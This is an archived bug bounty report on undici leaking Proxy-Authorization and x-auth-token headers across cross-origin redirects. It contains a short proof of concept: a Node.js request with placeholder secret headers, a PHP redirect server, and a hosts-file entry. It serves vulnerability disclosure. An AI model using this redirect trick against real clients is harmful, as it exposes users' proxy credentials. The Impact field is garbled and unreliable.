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hackeroneIylzH1:2451113
HistoryApr 07, 2024 - 2:32 p.m.

Internet Bug Bounty: Proxy-Authorization header not cleared on cross-origin redirect in undici.request

2024-04-0714:32:15
iylz
hackerone.com
$420
35
undici
proxy-authorization
cross-origin redirect
security issue
bugbounty

3.9 Low

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L

7.1 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

10.4%

Summary:: Undici already cleared Authorization and Cookie headers on cross-origin redirects, but did not clear Proxy-Authorization and x-auth-token headers.

Description:
Like https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3, this is a fixed security issue in v5.28.3, v6.6.1, but I have tested the new version(v6.7.0) and it has not been fixed yet.

Steps To Reproduce:
POC:

var undici = require('undici');

const {
    statusCode,
    headers,
    trailers,
    body
} = undici.request({
    method: 'GET',
    maxRedirections: 1,
    origin: "http://127.0.0.1/", 
    pathname: "",
    headers: {
        'content-type': 'application/json',
        'Cookie': 'secret Cookie',
        'Authorization': 'secret Authorization',
        'Proxy-Authorization': 'secret Proxy-Authorization',
        'x-auth-token': 'secret x-auth-token',
        'Host': 'test.cn'
    }
})

The http://127.0.0.1/ is a redirect server. Sourcecode:

<?php
header("Location: http://a.com:2333");
?>

Add the 1 record in the /etc/hosts file:

127.0.0.1   a.com

Listening on port 2333 and discovering that Proxy-Authorization headers has been passed.

Impact:
<[email protected]
Supporting Material/References:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Proxy-Authorization

Impact

Undici already cleared Authorization and Cookie headers on cross-origin redirects, but did not clear Proxy-Authorization headers.

3.9 Low

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L

7.1 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

10.4%